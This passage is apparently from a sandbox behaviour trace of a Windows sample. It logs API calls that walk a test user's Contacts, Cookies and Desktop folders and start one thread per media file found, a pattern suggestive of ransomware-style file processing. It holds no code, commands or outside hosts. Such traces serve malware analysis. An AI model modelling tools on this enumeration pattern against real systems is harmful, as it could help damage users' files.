dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.525] wcscmp (_String1="..", _String2=".") returned 1 [0063.525] wcscmp (_String1="..", _String2="..") returned 0 [0063.525] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0063.525] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0063.525] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0063.525] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0063.525] FindClose (in: hFindFile=0x34340e8 | out: hFindFile=0x34340e8) returned 1 [0063.525] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429798) returned 1 [0063.525] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433c28) returned 1 [0063.525] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e9210) returned 1 [0063.525] RtlExitUserThread (Status=0x0) Thread: id = 267 os_tid = 0x12a4 [0063.526] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433c28 [0063.526] wcscpy (in: _Dest=0x3433c28, _Source="C:\\Users\\FD1HVy\\Contacts" | out: _Dest="C:\\Users\\FD1HVy\\Contacts") returned="C:\\Users\\FD1HVy\\Contacts" [0063.526] wcscat (in: _Dest=0x3433c28, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Contacts\\") returned="C:\\Users\\FD1HVy\\Contacts\\" [0063.526] wcscat (in: _Dest=0x3433c28, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Contacts\\*") returned="C:\\Users\\FD1HVy\\Contacts\\*" [0063.526] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3429798 [0063.526] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Contacts\\*", lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd43ecce6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2cb2cd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34340e8 [0063.527] wcscmp (_String1=".", _String2=".") returned 0 [0063.527] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd43ecce6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2cb2cd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.527] wcscmp (_String1="..", _String2=".") returned 1 [0063.527] wcscmp (_String1="..", _String2="..") returned 0 [0063.527] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440792d0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0063.527] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0063.527] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0063.527] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440792d0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0063.527] FindClose (in: hFindFile=0x34340e8 | out: hFindFile=0x34340e8) returned 1 [0063.527] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429798) returned 1 [0063.527] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433c28) returned 1 [0063.527] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e06d8) returned 1 [0063.527] RtlExitUserThread (Status=0x0) Thread: id = 268 os_tid = 0x12a8 [0063.528] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x34) returned 0x3433c28 [0063.528] wcscpy (in: _Dest=0x3433c28, _Source="C:\\Users\\FD1HVy\\Cookies" | out: _Dest="C:\\Users\\FD1HVy\\Cookies") returned="C:\\Users\\FD1HVy\\Cookies" [0063.528] wcscat (in: _Dest=0x3433c28, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Cookies\\") returned="C:\\Users\\FD1HVy\\Cookies\\" [0063.528] wcscat (in: _Dest=0x3433c28, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Cookies\\*") returned="C:\\Users\\FD1HVy\\Cookies\\*" [0063.528] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3429798 [0063.528] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Cookies\\*", lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0063.528] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429798) returned 1 [0063.529] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433c28) returned 1 [0063.529] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e9440) returned 1 [0063.529] RtlExitUserThread (Status=0x0) Thread: id = 269 os_tid = 0x12ac [0063.530] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x34) returned 0x3433c28 [0063.530] wcscpy (in: _Dest=0x3433c28, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0063.530] wcscat (in: _Dest=0x3433c28, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0063.530] wcscat (in: _Dest=0x3433c28, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\*") returned="C:\\Users\\FD1HVy\\Desktop\\*" [0063.530] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3429798 [0063.530] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\*", lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7a1b0d23, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x7a1b0d23, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34340e8 [0063.530] wcscmp (_String1=".", _String2=".") returned 0 [0063.530] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7a1b0d23, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x7a1b0d23, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.530] wcscmp (_String1="..", _String2=".") returned 1 [0063.530] wcscmp (_String1="..", _String2="..") returned 0 [0063.530] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25700930, ftCreationTime.dwHighDateTime=0x1d4ca54, ftLastAccessTime.dwLowDateTime=0xae92dec0, ftLastAccessTime.dwHighDateTime=0x1d4c77c, ftLastWriteTime.dwLowDateTime=0xae92dec0, ftLastWriteTime.dwHighDateTime=0x1d4c77c, nFileSizeHigh=0x0, nFileSizeLow=0x3e0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="-e-xP3jnb4JA5H.avi", cAlternateFileName="-E-XP3~1.AVI")) returned 1 [0063.530] wcscmp (_String1="-e-xP3jnb4JA5H.avi", _String2=".") returned -1 [0063.530] wcscmp (_String1="-e-xP3jnb4JA5H.avi", _String2="..") returned -1 [0063.530] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x34820f8 [0063.530] wcscpy (in: _Dest=0x34820f8, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0063.530] wcscat (in: _Dest=0x34820f8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0063.530] wcscat (in: _Dest=0x34820f8, _Source="-e-xP3jnb4JA5H.avi" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\-e-xP3jnb4JA5H.avi") returned="C:\\Users\\FD1HVy\\Desktop\\-e-xP3jnb4JA5H.avi" [0067.221] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34820f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x37c [0067.222] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb96bf240, ftCreationTime.dwHighDateTime=0x1d4cf11, ftLastAccessTime.dwLowDateTime=0x183112d0, ftLastAccessTime.dwHighDateTime=0x1d4d221, ftLastWriteTime.dwLowDateTime=0x183112d0, ftLastWriteTime.dwHighDateTime=0x1d4d221, nFileSizeHigh=0x0, nFileSizeLow=0x5a71, dwReserved0=0x0, dwReserved1=0x0, cFileName="0wq9P__Q.mp4", cAlternateFileName="")) returned 1 [0067.222] wcscmp (_String1="0wq9P__Q.mp4", _String2=".") returned 1 [0067.222] wcscmp (_String1="0wq9P__Q.mp4", _String2="..") returned 1 [0067.222] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4a) returned 0x3431048 [0067.222] wcscpy (in: _Dest=0x3431048, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0067.222] wcscat (in: _Dest=0x3431048, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0067.222] wcscat (in: _Dest=0x3431048, _Source="0wq9P__Q.mp4" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\0wq9P__Q.mp4") returned="C:\\Users\\FD1HVy\\Desktop\\0wq9P__Q.mp4" [0067.222] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3431048, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x45c [0067.223] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x689a04d0, ftCreationTime.dwHighDateTime=0x1d4ce65, ftLastAccessTime.dwLowDateTime=0xa53fbbe0, ftLastAccessTime.dwHighDateTime=0x1d4ce75, ftLastWriteTime.dwLowDateTime=0xa53fbbe0, ftLastWriteTime.dwHighDateTime=0x1d4ce75, nFileSizeHigh=0x0, nFileSizeLow=0x9d96, dwReserved0=0x0, dwReserved1=0x0, cFileName="a9DEbidx78xhyfFcFlNC.gif", cAlternateFileName="A9DEBI~1.GIF")) returned 1 [0067.223] wcscmp (_String1="a9DEbidx78xhyfFcFlNC.gif", _String2=".") returned 1 [0067.223] wcscmp (_String1="a9DEbidx78xhyfFcFlNC.gif", _String2="..") returned 1 [0067.223] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x347df50 [0067.223] wcscpy (in: _Dest=0x347df50, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0067.223] wcscat (in: _Dest=0x347df50, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0067.223] wcscat (in: _Dest=0x347df50, _Source="a9DEbidx78xhyfFcFlNC.gif" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\a9DEbidx78xhyfFcFlNC.gif") returned="C:\\Users\\FD1HVy\\Desktop\\a9DEbidx78xhyfFcFlNC.gif" [0067.223] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347df50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x460 [0067.224] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849b31c0, ftCreationTime.dwHighDateTime=0x1d4ce17, ftLastAccessTime.dwLowDateTime=0x2ed29ee0, ftLastAccessTime.dwHighDateTime=0x1d4cdef, ftLastWriteTime.dwLowDateTime=0x2ed29ee0, ftLastWriteTime.dwHighDateTime=0x1d4cdef, nFileSizeHigh=0x0, nFileSizeLow=0x16ab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="b-J69rI1LaDazjYe1u.flv", cAlternateFileName="B-J69R~1.FLV")) returned 1 [0067.224] wcscmp (_String1="b-J69rI1LaDazjYe1u.flv", _String2=".") returned 1 [0067.224] wcscmp (_String1="b-J69rI1LaDazjYe1u.flv", _String2="..") returned 1 [0067.224] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5e) returned 0x3427340 [0067.224] wcscpy (in: _Dest=0x3427340, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0067.224] wcscat (in: _Dest=0x3427340, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0067.224] wcscat (in: _Dest=0x3427340, _Source="b-J69rI1LaDazjYe1u.flv" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\b-J69rI1LaDazjYe1u.flv") returned="C:\\Users\\FD1HVy\\Desktop\\b-J69rI1LaDazjYe1u.flv" [0067.224] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3427340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x464 [0067.225] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76215fc0, ftCreationTime.dwHighDateTime=0x1d4d547, ftLastAccessTime.dwLowDateTime=0x1bf00a00, ftLastAccessTime.dwHighDateTime=0x1d4c936, ftLastWriteTime.dwLowDateTime=0x1bf00a00, ftLastWriteTime.dwHighDateTime=0x1d4c936, nFileSizeHigh=0x0, nFileSizeLow=0x10294, dwReserved0=0x0, dwReserved1=0x0, cFileName="b0SqoygWnGE.mp4", cAlternateFileName="B0SQOY~1.MP4")) returned 1 [0067.225] wcscmp (_String1="b0SqoygWnGE.mp4", _String2=".") returned 1 [0067.225] wcscmp (_String1="b0SqoygWnGE.mp4", _String2="..") returned 1 [0067.225] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x50) returned 0x3430b78 [0067.225] wcscpy (in: _Dest=0x3430b78, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0067.225] wcscat (in: _Dest=0x3430b78, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0067.225] wcscat (in: _Dest=0x3430b78, _Source="b0SqoygWnGE.mp4" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\b0SqoygWnGE.mp4") returned="C:\\Users\\FD1HVy\\Desktop\\b0SqoygWnGE.mp4" [0067.225] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3430b78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x468 [0067.226] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x418e6d50, ftCreationTime.dwHighDateTime=0x1d4cd83, ftLastAccessTime.dwLowDateTime=0x272eca40, ftLastAccessTime.dwHighDateTime=0x1d4d396, ftLastWriteTime.dwLowDateTime=0x272eca40, ftLastWriteTime.dwHighDateTime=0x1d4d396, nFileSizeHigh=0x0, nFileSizeLow=0xb11e, dwReserved0=0x0, dwReserved1=0x0, cFileName="cGDwigzIS7.bmp", cAlternateFileName="CGDWIG~1.BMP")) returned 1 [0067.226] wcscmp (_String1="cGDwigzIS7.bmp", _String2=".") returned 1 [0067.226] wcscmp (_String1="cGDwigzIS7.bmp", _String2="..") returned 1 [0067.226] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x3430808 [0067.226] wcscpy (in: _Dest=0x3430808, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0067.226] wcscat (in: _Dest=0x3430808, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0067.226] wcscat (in: _Dest=0x3430808, _Source="cGDwigzIS7.bmp" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\cGDwigzIS7.bmp") returned="C:\\Users\\FD1HVy\\Desktop\\cGDwigzIS7.bmp" [0067.226] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3430808, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x46c [0067.227] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfc37870, ftCreationTime.dwHighDateTime=0x1d4cac3, ftLastAccessTime.dwLowDateTime=0x1a1adb70, ftLastAccessTime.dwHighDateTime=0x1d4cff2, ftLastWriteTime.dwLowDateTime=0x1a1adb70, ftLastWriteTime.dwHighDateTime=0x1d4cff2, nFileSizeHigh=0x0, nFileSizeLow=0x113a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrvV.gif", cAlternateFileName="")) returned 1 [0067.227] wcscmp (_String1="CrvV.gif", _String2=".") returned 1 [0067.227] wcscmp (_String1="CrvV.gif", _String2="..") returned 1 [0067.227] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x42) returned 0x3481898 [0067.227] wcscpy (in: _Dest=0x3481898, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0067.227] wcscat (in: _Dest=0x3481898, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0067.227] wcscat (in: _Dest=0x3481898, _Source="CrvV.gif" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\CrvV.gif") returned="C:\\Users\\FD1HVy\\Desktop\\CrvV.gif" [0067.227] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3481898, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x474 [0067.228] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x413fc340, ftCreationTime.dwHighDateTime=0x1d4cce2, ftLastAccessTime.dwLowDateTime=0x7cb6fe0, ftLastAccessTime.dwHighDateTime=0x1d4d10d, ftLastWriteTime.dwLowDateTime=0x7cb6fe0, ftLastWriteTime.dwHighDateTime=0x1d4d10d, nFileSizeHigh=0x0, nFileSizeLow=0x5b55, dwReserved0=0x0, dwReserved1=0x0, cFileName="d 2Q-T8WCBu7RyxxWaxa.png", cAlternateFileName="D2Q-T8~1.PNG")) returned 1 [0067.228] wcscmp (_String1="d 2Q-T8WCBu7RyxxWaxa.png", _String2=".") returned 1 [0067.228] wcscmp (_String1="d 2Q-T8WCBu7RyxxWaxa.png", _String2="..") returned 1 [0067.228] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x347dfc0 [0067.228] wcscpy (in: _Dest=0x347dfc0, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0067.228] wcscat (in: _Dest=0x347dfc0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0067.228] wcscat (in: _Dest=0x347dfc0, _Source="d 2Q-T8WCBu7RyxxWaxa.png" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\d 2Q-T8WCBu7RyxxWaxa.png") returned="C:\\Users\\FD1HVy\\Desktop\\d 2Q-T8WCBu7RyxxWaxa.png" [0067.228] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347dfc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x478 [0067.231] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa1310, ftCreationTime.dwHighDateTime=0x1d4c84d, ftLastAccessTime.dwLowDateTime=0xb08f8770, ftLastAccessTime.dwHighDateTime=0x1d4cbc1, ftLastWriteTime.dwLowDateTime=0xb08f8770, ftLastWriteTime.dwHighDateTime=0x1d4cbc1, nFileSizeHigh=0x0, nFileSizeLow=0x6401, dwReserved0=0x0, dwReserved1=0x0, cFileName="dCCr2t7Rk.swf", cAlternateFileName="DCCR2T~1.SWF")) returned 1 [0067.231] wcscmp (_String1="dCCr2t7Rk.swf", _String2=".") returned 1 [0067.231] wcscmp (_String1="dCCr2t7Rk.swf", _String2="..") returned 1 [0067.231] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4c) returned 0x3430bd0 [0067.231] wcscpy (in: _Dest=0x3430bd0, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0067.231] wcscat (in: _Dest=0x3430bd0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0067.231] wcscat (in: _Dest=0x3430bd0, _Source="dCCr2t7Rk.swf" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\dCCr2t7Rk.swf") returned="C:\\Users\\FD1HVy\\Desktop\\dCCr2t7Rk.swf" [0067.231] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3430bd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x47c [0067.232] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40cfe8c0, ftCreationTime.dwHighDateTime=0x1d4d2e8, ftLastAccessTime.dwLowDateTime=0x1ffdf680, ftLastAccessTime.dwHighDateTime=0x1d4d09c, ftLastWriteTime.dwLowDateTime=0x1ffdf680, ftLastWriteTime.dwHighDateTime=0x1d4d09c, nFileSizeHigh=0x0, nFileSizeLow=0x11014, dwReserved0=0x0, dwReserved1=0x0, cFileName="deQ4eVpb.avi", cAlternateFileName="")) returned 1 [0067.232] wcscmp (_String1="deQ4eVpb.avi", _String2=".") returned 1 [0067.232] wcscmp (_String1="deQ4eVpb.avi", _String2="..") returned 1 [0067.232] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4a) returned 0x3430860 [0067.232] wcscpy (in: _Dest=0x3430860, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0067.232] wcscat (in: _Dest=0x3430860, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0067.232] wcscat (in: _Dest=0x3430860, _Source="deQ4eVpb.avi" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\deQ4eVpb.avi") returned="C:\\Users\\FD1HVy\\Desktop\\deQ4eVpb.avi" [0067.232] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3430860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x480 [0067.233] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440792d0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0067.233] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0067.233] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0067.233] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363c5bc0, ftCreationTime.dwHighDateTime=0x1d4d340, ftLastAccessTime.dwLowDateTime=0xa5cc3740, ftLastAccessTime.dwHighDateTime=0x1d4cc6e, ftLastWriteTime.dwLowDateTime=0xa5cc3740, ftLastWriteTime.dwHighDateTime=0x1d4cc6e, nFileSizeHigh=0x0, nFileSizeLow=0x6e6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DhqnA4nJvwKX5.bmp", cAlternateFileName="DHQNA4~1.BMP")) returned 1 [0067.233] wcscmp (_String1="DhqnA4nJvwKX5.bmp", _String2=".") returned 1 [0067.233] 